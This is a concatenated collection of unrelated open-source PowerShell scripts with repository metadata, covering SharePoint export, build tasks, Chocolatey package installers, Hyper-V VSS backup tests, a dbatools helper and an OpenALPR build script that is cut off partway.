{ Add-Content $xmlFilePath $_.SchemaXml } } Add-Content $xmlFilePath "</ContentTypes>" $sourceWeb.Dispose()
borkit/scriptdump
PowerShell/Working/SharePoint/SharePoint2013/SP2013ExportSiteContentTypes.ps1
PowerShell
mit
1,418
param ( [string]$mavenPOMFile, [string]$options, [string]$goals, [string]$publishJUnitResults, [string]$testResultsFiles, [string]$jdkVersion, [string]$jdkArchitecture ) Write-Verbose 'Entering Maven.ps1' Write-Verbose "mavenPOMFile = $mavenPOMFile" Write-Verbose "options = $options" Write-Verbose "goals = $goals" Write-Verbose "publishJUnitResults = $publishJUnitResults" Write-Verbose "testResultsFiles = $testResultsFiles" Write-Verbose "jdkVersion = $jdkVersion" Write-Verbose "jdkArchitecture = $jdkArchitecture" #Verify Maven POM file is specified if(!$mavenPOMFile) { throw "Maven POM file is not specified" } # Import the Task.Internal dll that has all the cmdlets we need for Build import-module "Microsoft.TeamFoundation.DistributedTask.Task.Internal" import-module "Microsoft.TeamFoundation.DistributedTask.Task.Common" import-module "Microsoft.TeamFoundation.DistributedTask.Task.TestResults" if($jdkVersion -and $jdkVersion -ne "default") { $jdkPath = Get-JavaDevelopmentKitPath -Version $jdkVersion -Arch $jdkArchitecture if (!$jdkPath) { throw "Could not find JDK $jdkVersion $jdkArchitecture, please make sure the selected JDK is installed properly" } Write-Host "Setting JAVA_HOME to $jdkPath" $env:JAVA_HOME = $jdkPath Write-Verbose "JAVA_HOME set to $env:JAVA_HOME" } Write-Verbose "Running Maven..." Invoke-Maven -MavenPomFile $mavenPOMFile -Options $options -Goals $goals # Publish test results files $publishJUnitResultsFromAntBuild = Convert-String $publishJUnitResults Boolean if($publishJUnitResultsFromAntBuild) { # check for JUnit test result files $matchingTestResultsFiles = Find-Files -SearchPattern $testResultsFiles if (!$matchingTestResultsFiles) { Write-Host "No JUnit test results files were found matching pattern '$testResultsFiles', so publishing JUnit test results is being skipped." } else { Write-Verbose "Calling Publish-TestResults" Publish-TestResults -TestRunner "JUnit" -TestResultsFiles $matchingTestResultsFiles -Context $distributedTaskContext } } else { Write-Verbose "Option to publish JUnit Test results produced by Maven build was not selected and is being skipped." } Write-Verbose "Leaving script Maven.ps1"
ChristopherHaws/vso-agent-tasks
Tasks/Maven/maven.ps1
PowerShell
mit
2,317
#Requires -Version 5.0 # also requires "Windows Management Framework 5.0 Preview February 2015" check out the link below # http://blogs.msdn.com/b/powershell/archive/2015/02/18/windows-management-framework-5-0-preview-february-2015-is-now-available.aspx # get a list of static code analysis rules Get-ScriptAnalyzerRule| Out-GridView # run code analysis on script 'ClassScript.ps1' located in the current folder Invoke-ScriptAnalyzer -Path .\ClassScript.ps1 # define what rules to include/exclude Invoke-ScriptAnalyzer -Path .\ClassScript.ps1 -IncludeRule ('AvoidUnitializedVariable', 'UseApprovedVerbs') -ExcludeRule 'UseSingularNouns'
jlouros/PowerShell-toolbox
Misc/PowerShell 5 Presentation Scripts (April 2015)/Demo-CodeAnalysis-Commands.ps1
PowerShell
mit
645
$current = (Get-Location).Path; # Write-Output $current Get-ChildItem $PSScriptRoot -Directory | ForEach-Object { if (-NOT $_.FullName.EndsWith("tsconfig")) { # Write-Output $_.FullName Set-Location $_.FullName; npm-check-updates -u; } } Set-Location $current;
ryanelian/ryan-compiler
templates/update.ps1
PowerShell
mit
295
$packageName = 'qttabbar' $url = 'http://qttabbar.wdfiles.com/local--files/qttabbar/QTTabBar_1030.zip' $checksum = 'cae8d6d3a0bb56d47c7ed6d7795b94fbb7aee9ad' $checksumType = 'sha1' $installerType = 'exe' $silentArgs = "/QI" $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" $installFile = Join-Path $toolsDir "$($packageName).exe" $ahkFile = Join-Path $toolsDir 'chocolateyInstall.ahk' $regKey = 'HKCU:\SOFTWARE\Quizo\QTTabBar' if (Test-Path $regKey) { $installed = 1 Write-Debug "Existing install detected." } Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" Install-ChocolateyInstallPackage -PackageName "$packageName" ` -FileType "$installerType" ` -SilentArgs "$silentArgs" ` -File "$installFile" # disable warning popup in IE New-Item -Path HKCU:\Software\Quizo -ErrorAction SilentlyContinue New-Item -Path HKCU:\Software\Quizo\QTTabBar -ErrorAction SilentlyContinue $regKey = 'HKCU:\SOFTWARE\Quizo\QTTabBar' $regProp = 'IEWarned' $regPropVal = '1' #default=0; 1=suppress Set-ItemProperty $regKey -Name $regProp -Value $regPropVal -Type DWord -ErrorAction SilentlyContinue if (! $installed -eq 1) { Write-Host "Attempting to automatically add QTTabBar to File Explorer, this may take a minute..." # temporarily quiet IE via registry $disableIePopups = @("DisableFirstRunCustomize","RunOnceHasShown","RunOnceComplete") $regIeLm = 'HKLM:\Software\Policies\Microsoft\Internet Explorer\Main' $regIeCu = 'HKCU:\Software\Policies\Microsoft\Internet Explorer\Main' foreach ($i in $disableIePopups) { $regIeLmBak = ,(Get-ItemProperty $regIeLm).$i Set-ItemProperty $regIeLm -Name $i -Value 1 -Type DWord $regIeCuBak = ,(Get-ItemProperty $regIeCu).$i Set-ItemProperty $regIeCu -Name $i -Value 1 -Type DWord } Start-Process 'AutoHotKey' $ahkFile -Wait # restore registry for IE foreach ($i in $disableIePopups) { Set-ItemProperty $regIeLm -Name $i -Value $regIeLmBak[$x++] -Type DWord Set-ItemProperty $regIeLm -Name $i -Value $regIeLmBak[$y++] -Type DWord } } Write-Host @" After launching a new File Explorer process, if QTTabBar toolbar is not present, please perform the following steps to enable: `t 1. Enable plugin within INTERNET Explorer: `t WinKey+R > iexplore > EnterKey > Alt+X > M > (Verify QTTabBar is set to ENABLE) `t 2. Add toolbar within FILE Explorer: `t WinKey+R > explorer > EnterKey > Alt > V > Y > (Choose QTTabBar to enable the toolbar) `t 3. Configure QTTabBar by context `"right`" clicking on the QTTabBar toolbar. `t Note: > represents the NEXT STEP, not an input + represents HOLDING the first key down while pressing the second key, then releasing both ( ) represents INSTRUCTIONS, not an input "@
dtgm/chocolatey-packages
automatic/_output/qttabbar/1030.0/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
3,093
######################################################################## # # Linux on Hyper-V and Azure Test Code, ver. 1.0.0 # Copyright (c) Microsoft Corporation # # All rights reserved. # Licensed under the Apache License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # THIS CODE IS PROVIDED *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS # OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION # ANY IMPLIED WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR # PURPOSE, MERCHANTABLITY OR NON-INFRINGEMENT. # # See the Apache Version 2.0 License for specific language governing # permissions and limitations under the License. # ######################################################################## <# .Synopsis Utility functions for VSS test cases. .Description VSS Utility functions. This is a collection of function commonly used by PowerShell scripts in VSS tests. #> function runSetup([string] $vmName, [string] $hvServer, [string] $driveletter, [boolean] $check_vssd = $True) { $sts = Test-Path $driveletter if (-not $sts) { $logger.error("Error: Drive ${driveletter} does not exist") return $False } $logger.info("Removing old backups") try { Remove-WBBackupSet -Force -WarningAction SilentlyContinue } Catch { $logger.info("No existing backup's to remove") } # Check if the Vm VHD in not on the same drive as the backup destination $vm = Get-VM -Name $vmName -ComputerName $hvServer if (-not $vm) { $logger.error("VM ${vmName} does not exist") return $False } foreach ($drive in $vm.HardDrives) { if ( $drive.Path.StartsWith("${driveLetter}")) { $logger.error("Backup partition ${driveLetter} is same as partition hosting the VMs disk $($drive.Path)") return $False } } if ($check_vssd) { # Check to see Linux VM is running VSS backup daemon $sts = RunRemoteScript "STOR_VSS_Check_VSS_Daemon.sh" if (-not $sts[-1]) { $logger.error("Executing $remoteScript on VM. Exiting test case!") return $False } $logger.info("VSS Daemon is running") } # Create a file on the VM before backup $sts = CreateFile "/root/1" if (-not $sts[-1]) { $logger.error("Cannot create test file") return $False } $logger.info("File created on VM: $vmname") return $True } function startBackup([string] $vmName, [string] $driveletter) { # Remove Existing Backup Policy try { Remove-WBPolicy -all -force } Catch { $logger.info("No existing backup policy to remove")} # Set up a new Backup Policy $policy = New-WBPolicy # Set the backup location $backupLocation = New-WBBackupTarget -VolumePath $driveletter # Define VSS WBBackup type Set-WBVssBackupOptions -Policy $policy -VssCopyBackup # Add the Virtual machines to the list $VM = Get-WBVirtualMachine | where vmname -like $vmName Add-WBVirtualMachine -Policy $policy -VirtualMachine $VM Add-WBBackupTarget -Policy $policy -Target $backupLocation # Start the backup Write-Output "Backing to $driveletter" Start-WBBackup -Policy $policy # Review the results $BackupTime = (New-Timespan -Start (Get-WBJob -Previous 1).StartTime -End (Get-WBJob -Previous 1).EndTime).Minutes $logger.info("Backup duration: $BackupTime minutes") $sts=Get-WBJob -Previous 1 if ($sts.JobState -ne "Completed" -or $sts.HResult -ne 0) { $logger.error("VSS Backup failed") $logger.error($sts.ErrorDescription) return $False } $logger.info("Backup successful!") # Let's wait a few Seconds Start-Sleep -Seconds 70 # Delete file on the VM $vmState = $(Get-VM -name $vmName -ComputerName $hvServer).state if (-not $vmState) { $sts = DeleteFile if (-not $sts[-1]) { $logger.error("Cannot delete test file!") return $False } $logger.info("File deleted on VM: $vmname") } return $backupLocation } function restoreBackup([string] $backupLocation) { # Start the Restore $logger.info("Now let's restore the VM from backup.") # Get BackupSet $BackupSet = Get-WBBackupSet -BackupTarget $backupLocation # Start restore Start-WBHyperVRecovery -BackupSet $BackupSet -VMInBackup $BackupSet.Application[0].Component[0] -Force -WarningAction SilentlyContinue $sts=Get-WBJob -Previous 1 if ($sts.JobState -ne "Completed" -or $sts.HResult -ne 0) { $logger.error("VSS Restore failed") $logger.error($sts.ErrorDescription) return $False } return $True } function checkResults([string] $vmName, [string] $hvServer) { # Review the results $RestoreTime = (New-Timespan -Start (Get-WBJob -Previous 1).StartTime -End (Get-WBJob -Previous 1).EndTime).Minutes $logger.info("Restore duration: $RestoreTime minutes") # Make sure VM exists after VSS backup/restore operation $vm = Get-VM -Name $vmName -ComputerName $hvServer if (-not $vm) { $logger.error("VM ${vmName} does not exist after restore") return $False } $logger.info("Restore success!") $vmState = (Get-VM -name $vmName -ComputerName $hvServer).state $logger.info("VM state is $vmState") $ip_address = GetIPv4 $vmName $hvServer $timeout = 300 if ($vmState -eq "Running") { if ($ip_address -eq $null) { $logger.info("Restarting VM to bring up network") Restart-VM -vmName $vmName -ComputerName $hvServer -Force WaitForVMToStartKVP $vmName $hvServer $timeout $ip_address = GetIPv4 $vmName $hvServer } } elseif ($vmState -eq "Off") { $logger.info("VM starting") Start-VM -vmName $vmName -ComputerName $hvServer if (-not (WaitForVMToStartKVP $vmName $hvServer $timeout )) { $logger.error("${vmName} failed to start") return $False } else { $ip_address = GetIPv4 $vmName $hvServer } elseif ($vmState -eq "Paused") { $logger.info("VM resuming") Resume-VM -vmName $vmName -ComputerName $hvServer if (-not (WaitForVMToStartKVP $vmName $hvServer $timeout )) { $logger.error("${vmName} failed to resume") return $False } else { $ip_address = GetIPv4 $vmName $hvServer } } } $logger.info("VM IP is $ip_address") $sts= GetSelinuxAVCLog $ip_address $sshkey if ($sts[-1]) { $logger.error("$($sts[-2])") return $False } else { $logger.info("$($sts[-2])") } # only check restore file when ip available $stsipv4 = Test-NetConnection $ipv4 -Port 22 -WarningAction SilentlyContinue if ($stsipv4.TcpTestSucceeded) { $sts= CheckFile /root/1 if ($sts -eq $false) { $logger.error("No /root/1 file after restore") return $False } else { $logger.info("there is /root/1 file after restore") Write-Output $logMessage } } else { $logger.info("Ignore checking file /root/1 when no network") } # Now Check the boot logs in VM to verify if there is no Recovering journals in it . $sts=CheckRecoveringJ if ($sts[-1]) { $logger.error("No Recovering Journal in boot logs") return $False } else { $results = "Passed" $logger.info("Recovering Journal in boot msg: Success") $logger.info("INFO: VSS Back/Restore: Success") return $results } } function runCleanup([string] $backupLocation) { # Remove Created Backup $logger.info("Removing old backups from $backupLocation") try { Remove-WBBackupSet -BackupTarget $backupLocation -Force -WarningAction SilentlyContinue } Catch { $logger.info("No existing backup's to remove")} } function getBackupType() { # check the latest successful job backup type, "online" or "offline" $backupType = $null $sts = Get-WBJob -Previous 1 if ($sts.JobState -ne "Completed" -or $sts.HResult -ne 0) { $logger.error("VSS Backup failed ") return $backupType } $contents = get-content $sts.SuccessLogPath foreach ($line in $contents ) { if ( $line -match "Caption" -and $line -match "online") { $logger.info("VSS Backup type is online") $backupType = "online" } elseif ($line -match "Caption" -and $line -match "offline") { $logger.info("VSS Backup type is offline") $backupType = "offline" } } return $backupType }
ilenghel/lis-test
WS2012R2/lisa/setupscripts/STOR_VSS_Utils.ps1
PowerShell
apache-2.0
8,101
$packageName = 'aida64-networkaudit' $url = 'http://download.aida64.com/aida64networkaudit520.zip' $checksum = 'a32a2be03ad2db4b4ecc467f64febaf2e31100f9' $checksumType = 'sha1' $url64 = "$url" $checksum64 = "$checksum" $checksumType64 = "$checksumType" $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" $installFile = Join-Path $toolsDir "aida64.exe" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "$url64" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" ` -Checksum64 "$checksum64" ` -ChecksumType64 "$checksumType64" Set-Content -Path ("$installFile.gui") ` -Value $null
dtgm/chocolatey-packages
automatic/_output/aida64-networkaudit/5.20.3400/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
881
$packageName = 'pssuspend' $url = 'https://download.sysinternals.com/files/PSTools.zip' $checksum = 'd82ef74b45f7b25e5efa7311a87ecab89c259a39' $checksumType = 'sha1' $url64 = "$url" $checksum64 = "$checksum" $checksumType64 = "checksumType" $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Url64bit "$url64" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" ` -Checksum64 "$checksum64" ` -ChecksumType64 "$checksumType64" Write-Verbose "Accepting license..." $regRoot = 'HKCU:\Software\Sysinternals' $regPkg = 'PsSuspend' $regPath = Join-Path $regRoot $regPkg if (!(Test-Path $regRoot)) {New-Item -Path "$regRoot"} if (!(Test-Path $regPath)) {New-Item -Path "$regRoot" -Name "$regPkg"} Set-ItemProperty -Path "$regPath" -Name EulaAccepted -Value 1 if ((Get-ItemProperty -Path "$regPath").EulaAccepted -ne 1) { throw "Failed setting registry value." }
dtgm/chocolatey-packages
automatic/_output/pssuspend/1.06/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
1,186
# Copyright (c) 2014-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. An additional grant # of patent rights can be found in the PATENTS file in the same directory. # Update-able metadata # # $version - The version of the software package to build # $chocoVersion - The chocolatey package version, used for incremental bumps # without changing the version of the software package # Note: not currently used as @poppyseedplehzr maintains our working branch $version = '0.12.0-r3' $chocoVersion = $version $packageName = 'cpp-netlib' $projectSource = 'https://github.com/poppyseedplehzr/cpp-netlib/tree/win-osquery-build' $packageSourceUrl = 'https://github.com/poppyseedplehzr/cpp-netlib/tree/win-osquery-build' $authors = 'cpp-netlib' $owners = 'cpp-netlib' $copyright = 'https://github.com/cpp-netlib/cpp-netlib/blob/master/LICENSE_1_0.txt' $license = 'https://github.com/cpp-netlib/cpp-netlib/blob/master/LICENSE_1_0.txt' # Invoke our utilities file . "$(Split-Path -Parent $MyInvocation.MyCommand.Definition)\osquery_utils.ps1" # Invoke the MSVC developer tools/env Invoke-BatchFile "$env:VS140COMNTOOLS\..\..\vc\vcvarsall.bat" amd64 $chocolateyRoot = "C:\ProgramData\chocolatey\lib" $openSslDir = "$chocolateyRoot\openssl" $openSslInclude = "$openSslDir\include" $boostRoot = "$chocolateyRoot\boost-msvc14\local" $boostLibRoot = "$boostRoot\lib64-msvc-14.0" $env:OPENSSL_ROOT_DIR = $openSslDir $env:BOOST_ROOT = $boostRoot $env:BOOST_LIBRARYDIR = $boostLibRoot # Time our execution $sw = [System.Diagnostics.StopWatch]::startnew() # Keep the location of build script, to bring with in the chocolatey package $buildScript = $MyInvocation.MyCommand.Definition # Create the choco build dir if needed $buildPath = Get-OsqueryBuildPath if ($buildPath -eq '') { Write-Host '[-] Failed to find source root' -foregroundcolor red exit } $chocoBuildPath = "$buildPath\chocolatey\$packageName" if (-not (Test-Path "$chocoBuildPath")) { New-Item -Force -ItemType Directory -Path "$chocoBuildPath" } Set-Location $chocoBuildPath # Checkout our working, patched, build of cpp-netlib 0.12-final git clone https://github.com/poppyseedplehzr/cpp-netlib.git $sourceDir = 'cpp-netlib' Set-Location $sourceDir git submodule update --init git checkout win-osquery-build # Build the libraries $buildDir = New-Item -Force -ItemType Directory -Path 'osquery-win-build' Set-Location $buildDir # Generate the .sln cmake -G 'Visual Studio 14 2015 Win64' -DCPP-NETLIB_BUILD_TESTS=OFF -DCPP-NETLIB_BUILD_EXAMPLES=OFF -DCPP-NETLIB_BUILD_SHARED_LIBS=OFF -DCMAKE_BUILD_TYPE=Release -DBOOST_ROOT=C:\ProgramData\chocolatey\lib\boost-msvc14\local -DBOOST_LIBRARYDIR=C:\ProgramData\chocolatey\lib\boost-msvc14\local\lib64-msvc-14.0 -DOPENSSL_INCLUDE_DIR=C:\ProgramData\chocolatey\lib\openssl\local\include -DOPENSSL_ROOT_DIR=C:\ProgramData\chocolatey\lib\openssl\local ..\ # Build the libraries msbuild 'cpp-netlib.sln' /p:Configuration=Release /m /t:ALL_BUILD /v:m msbuild 'cpp-netlib.sln' /p:Configuration=Debug /m /t:ALL_BUILD /v:m # Construct the Chocolatey Package $chocoDir = New-Item -ItemType Directory -Path 'osquery-choco' Set-Location $chocoDir $includeDir = New-Item -ItemType Directory -Path 'local\include' $libDir = New-Item -ItemType Directory -Path 'local\lib' $srcDir = New-Item -ItemType Directory -Path 'local\src' Write-NuSpec $packageName $chocoVersion $authors $owners $projectSource $packageSourceUrl $copyright $license # Rename the Debug libraries to end with a `_dbg.lib` foreach ($lib in Get-ChildItem "$buildDir\libs\network\src\Debug\") { $toks = $lib.Name.split('.') $newLibName = $toks[0..$($toks.count - 2)] -join '.' $suffix = $toks[$($toks.count - 1)] Copy-Item -Path $lib.Fullname -Destination "$libDir\$newLibName`_dbg.$suffix" } Copy-Item "$buildDir\libs\network\src\Release\*" $libDir Copy-Item -Recurse "$buildDir\..\boost" $includeDir Copy-Item -Recurse "$buildDir\..\deps\asio\asio\include\asio" $includeDir Copy-Item "$buildDir\..\deps\asio\asio\include\asio.hpp" $includeDir Copy-Item $buildScript $srcDir choco pack Write-Host "[*] Build took $($sw.ElapsedMilliseconds) ms" -foregroundcolor DarkGreen if (Test-Path "$packageName.$chocoVersion.nupkg") { Write-Host "[+] Finished building $packageName v$chocoVersion." -foregroundcolor Green } else { Write-Host "[-] Failed to build $packageName v$chocoVersion." -foregroundcolor Red }
tburgin/osquery
tools/provision/chocolatey/cpp-netlb.ps1
PowerShell
bsd-3-clause
4,531
function Get-WmiHadr { [CmdletBinding()] param ( [parameter(Mandatory, ValueFromPipeline)] [DbaInstanceParameter[]]$SqlInstance, [PSCredential]$Credential, [switch]$EnableException ) process { foreach ($instance in $SqlInstance) { try { $computer = $computerName = $instance.ComputerName $instanceName = $instance.InstanceName $currentState = Invoke-ManagedComputerCommand -ComputerName $computerName -ScriptBlock { $wmi.Services[$args[0]] | Select-Object IsHadrEnabled } -ArgumentList $instanceName -Credential $Credential } catch { Stop-Function -Message "Failure connecting to $computer" -Category ConnectionError -ErrorRecord $_ -Target $instance return } if ($null -eq $currentState.IsHadrEnabled) { $isEnabled = $false } else { $isEnabled = $currentState.IsHadrEnabled } [PSCustomObject]@{ ComputerName = $computer InstanceName = $instanceName SqlInstance = $instance.FullName IsHadrEnabled = $isEnabled } } } }
kozloski/dbatools
internal/functions/Get-WmiHadr.ps1
PowerShell
mit
1,263
param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $OpenALPRVersion = "2.2.0", [ValidateSet("Build", "Nupkg", "RebuildOpenALPR", "RebuildOpenALPRNet", "RebuildOpenALPRThenNupkg", "RebuildOpenALPRNetThenNupkg")] [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $Target = "Build", [Parameter(Position = 2, ValueFromPipeline = $true)] [ValidateSet("Debug", "Release")] [string] $Configuration = "Release", [Parameter(Position = 3, ValueFromPipeline = $true)] [ValidateSet("Win32", "x64")] [string] $Platform = "x64", [ValidateSet("v100", "v110", "v120", "v140")] [Parameter(Position = 4, ValueFromPipeline = $true)] [string] $PlatformToolset = "v120", [ValidateSet("Kepler", "Fermi", "Auto", "None")] [Parameter(Position = 5, ValueFromPipeline = $true)] [string] $CudaGeneration = "None", [Parameter(Position = 6, ValueFromPipeline = $true)] [string] $Clean = $false ) # Utilities $MsbuildExe = $null # IO $WorkingDir = Split-Path -parent $MyInvocation.MyCommand.Definition $OutputDir = Join-Path $WorkingDir "build\artifacts\$OpenALPRVersion\$PlatformToolset\$Configuration\$Platform" $DistDir = Join-Path $WorkingDir "build\dist\$OpenALPRVersion\$PlatformToolset\$Configuration\$Platform" $PatchesDir = Join-Path $WorkingDir patches # IO Dependencies $OpenALPRDir = Join-Path $WorkingDir .. $OpenALPROutputDir = Join-Path $OutputDir openalpr $OpenALPRNetDir = Join-Path $OpenALPRDir src\bindings\csharp\openalpr-net $OpenALPRNetDirOutputDir = Join-Path $OutputDir openalpr-net $TesseractDir = Join-Path $WorkingDir tesseract-ocr $TesseractOutputDir = Join-Path $OutputDir tesseract $TesseractIncludeDir = Join-Path $TesseractDir include $OpenCVDir = Join-Path $WorkingDir opencv $OpenCVOutputDir = Join-Path $OutputDir opencv if($CudaGeneration -ne "None") { $OpenCVOutputDir += "_CUDA_$CudaGeneration" $OpenALPROutputDir += "_CUDA_$CudaGeneration" $OpenALPRNetDirOutputDir += "_CUDA_$CudaGeneration" $DistDir += "_CUDA_$CudaGeneration" } # Msbuild $ToolsVersion = $null $VisualStudioVersion = $null $VXXCommonTools = $null $CmakeGenerator = $null # Dependencies version numbering $TesseractVersion = "304" $LeptonicaVersion = "170" $OpenCVVersion = "300" $OpenALPRVersionMajorMinorPatch = $OpenALPRVersion -replace '.', '' # Metrics $StopWatch = [System.Diagnostics.Stopwatch] # Miscellaneous $DebugPrefix = "" if($Configuration -eq "Debug") { $DebugPrefix = "d" } $TesseractLibName = "libtesseract$TesseractVersion-static.lib" if($Configuration -eq "Debug") { $TesseractLibName = "libtesseract$TesseractVersion-static-debug.lib" } $LeptonicaLibName = "liblept{0}.lib" -f $LeptonicaVersion if($Configuration -eq "Debug") { $LeptonicaLibName = "liblept{0}d.lib" -f $LeptonicaVersion } $OpenCVLibName = "{0}{1}" -f $OpenCVVersion, $DebugPrefix # Rebuilding $RebuildOpenALPR = $false $RebuildOpenALPRNet = $false ########################################################################################### function Write-Diagnostic { param( [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] [string] $Message ) Write-Host Write-Host $Message -ForegroundColor Green Write-Host } function Invoke-BatchFile { param( [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] [string]$Path, [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline = $true)] [string]$Parameters ) $tempFile = [IO.Path]::GetTempFileName() $batFile = [IO.Path]::GetTempFileName() + ".cmd" Set-Content -Path $batFile -Value "`"$Path`" $Parameters && set > `"$tempFile`"" $batFile Get-Content $tempFile | Foreach-Object { if ($_ -match "^(.*?)=(.*)$") { Set-Content "env:\$($matches[1])" $matches[2] } } Remove-Item $tempFile } function Die { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $Message ) Write-Host Write-Error $Message exit 1 } function Requires-Git { if ((Get-Command "git.exe" -ErrorAction SilentlyContinue) -eq $null) { Die "Missing git.exe" } } function Requires-Cmake { if ((Get-Command "cmake.exe" -ErrorAction SilentlyContinue) -eq $null) { Die "Missing cmake.exe" } } function Requires-Msbuild { if(-not (Test-Path $MsbuildExe)) { Die "Msbuild: Unable to find $MsbuildExe" } } function Requires-Nuget { if ((Get-Command "nuget.exe" -ErrorAction SilentlyContinue) -eq $null) { Die "Missing nuget.exe" } } function Start-Process { param( [string] $Filename, [string[]] $Arguments ) $StartInfo = New-Object System.Diagnostics.ProcessStartInfo $StartInfo.FileName = $Filename $StartInfo.Arguments = $Arguments $StartInfo.EnvironmentVariables.Clear() Get-ChildItem -Path env:* | ForEach-Object { $StartInfo.EnvironmentVariables.Add($_.Name, $_.Value) } $StartInfo.UseShellExecute = $false $StartInfo.CreateNoWindow = $false $Process = New-Object System.Diagnostics.Process $Process.StartInfo = $startInfo $Process.Start() | Out-Null $Process.WaitForExit() if($Process.ExitCode -ne 0) { Die ("{0} returned a non-zero exit code" -f $Filename) } } function Set-PlatformToolset { Write-Diagnostic "PlatformToolset: $PlatformToolset" switch -Exact ($PlatformToolset) { "v100" { $script:ToolsVersion = "4.0" $script:VisualStudioVersion = "10.0" $script:VXXCommonTools = $env:VS100COMNTOOLS $script:CmakeGenerator = "Visual Studio 10 2010" } "v110" { $script:ToolsVersion = "4.0" $script:VisualStudioVersion = "11.0" $script:VXXCommonTools = $env:VS110COMNTOOLS $script:CmakeGenerator = "Visual Studio 11 2012" } "v120" { $script:ToolsVersion = "12.0" $script:VisualStudioVersion = "12.0" $script:VXXCommonTools = $env:VS120COMNTOOLS $script:CmakeGenerator = "Visual Studio 12 2013" } "v140" { $script:ToolsVersion = "14.0" $script:VisualStudioVersion = "14.0" $script:VXXCommonTools = $env:VS140COMNTOOLS $script:CmakeGenerator = "Visual Studio 14 2015" } } if ($VXXCommonTools -eq $null -or (-not (Test-Path($VXXCommonTools)))) { Die "PlatformToolset $PlatformToolset is not installed." } $script:VXXCommonTools = Join-Path $VXXCommonTools "..\..\vc" if ($VXXCommonTools -eq $null -or (-not (Test-Path($VXXCommonTools)))) { Die "Error unable to find any visual studio environment" } $script:VCVarsAll = Join-Path $VXXCommonTools vcvarsall.bat if (-not (Test-Path $VCVarsAll)) { Die "Unable to find $VCVarsAll" } if($Platform -eq "x64") { $script:CmakeGenerator += " Win64" } Invoke-BatchFile $VXXCommonTools $Platform $script:MsbuildExe = Join-Path (${Env:ProgramFiles(x86)}) MSBuild\$ToolsVersion\Bin\msbuild.exe Write-Diagnostic "PlatformToolset: Successfully configured msvs PlatformToolset $PlatformToolset" } function Vcxproj-Parse { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $Project, [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $Xpath ) $Content = Get-Content $Project $Xml = New-Object System.Xml.XmlDocument $Xml.LoadXml($Content) $NamespaceManager = New-Object System.Xml.XmlNamespaceManager($Xml.NameTable); $NamespaceManager.AddNamespace("rs", "http://schemas.microsoft.com/developer/msbuild/2003"); $Root = $Xml.DocumentElement $Nodes = $Root.SelectNodes($Xpath, $NamespaceManager) $Properties = @{ Document = $Xml Root = $Xml.DocumentElement Nodes = $Root.SelectNodes($Xpath, $NamespaceManager) } $Object = New-Object PSObject -Property $Properties return $Object } function Vcxproj-Nuke { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $Project, [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $Xpath ) $VcxProj = Vcxproj-Parse $Project $Xpath if($VcxProj.Nodes.Count -gt 0) { foreach($Node in $VcxProj.Nodes) { $Node.ParentNode.RemoveChild($Node) | Out-Null } $VcxProj.Document.Save($Project) } } function Vcxproj-Set { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $Project, [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $Xpath, [Parameter(Position = 2, ValueFromPipeline = $true)] [string] $Value ) $VcxProj = Vcxproj-Parse $Project $Xpath if($VcxProj.Nodes.Count -gt 0) { foreach($Node in $VcxProj.Nodes) { $Node.set_InnerXML($Value) | Out-Null } $VcxProj.Document.Save($Project) } } function Msbuild { param( [Parameter(Position = 0, ValueFromPipeline = $true)] [string] $Project, [Parameter(Position = 1, ValueFromPipeline = $true)] [string] $OutDir, [Parameter(Position = 2, ValueFromPipeline = $true)] [string[]] $ExtraArguments ) Write-Diagnostic "Msbuild: Project - $Project" Write-Diagnostic "Msbuild: OutDir - $OutDir" Write-Diagnostic "Msbuild: Matrix - $Configuration, $Platform, $PlatformToolset" $PreferredToolArchitecture = "Win32" if($Platform -eq "x64") { $PreferredToolArchitecture = "AMD64" } # Msbuild requires that output directory has a trailing slash (/) if(-not $OutDir.EndsWith("/")) { $OutDir += "/" } $Arguments = @( "$Project", "/t:Rebuild", "/m", # Parallel build "/p:VisualStudioVersion=$VisualStudioVersion", "/p:PlatformTarget=$ToolsVersion", "/p:PlatformToolset=$PlatformToolset", "/p:Platform=$Platform", "/p:PreferredToolArchitecture=$PreferredToolArchitecture", "/p:OutDir=`"$OutDir`"" ) $Arguments += $ExtraArguments if($Configuration -eq "Release") { $Arguments += "/p:RuntimeLibrary=MultiThreaded" } else { $Arguments += "/p:RuntimeLibrary=MultiThreadedDebug" } Vcxproj-Nuke $Project "/rs:Project/rs:ItemDefinitionGroup/rs:PostBuildEvent" Vcxproj-Set $Project "/rs:Project/rs:PropertyGroup[@Label='Configuration']/rs:PlatformToolset" $PlatformToolset Vcxproj-Set $Project "/rs:Project/@ToolsVersion" $ToolsVersion Start-Process $MsbuildExe $Arguments } function Apply-Patch { param( [Parameter(Position = 0, ValueFromPipeline = 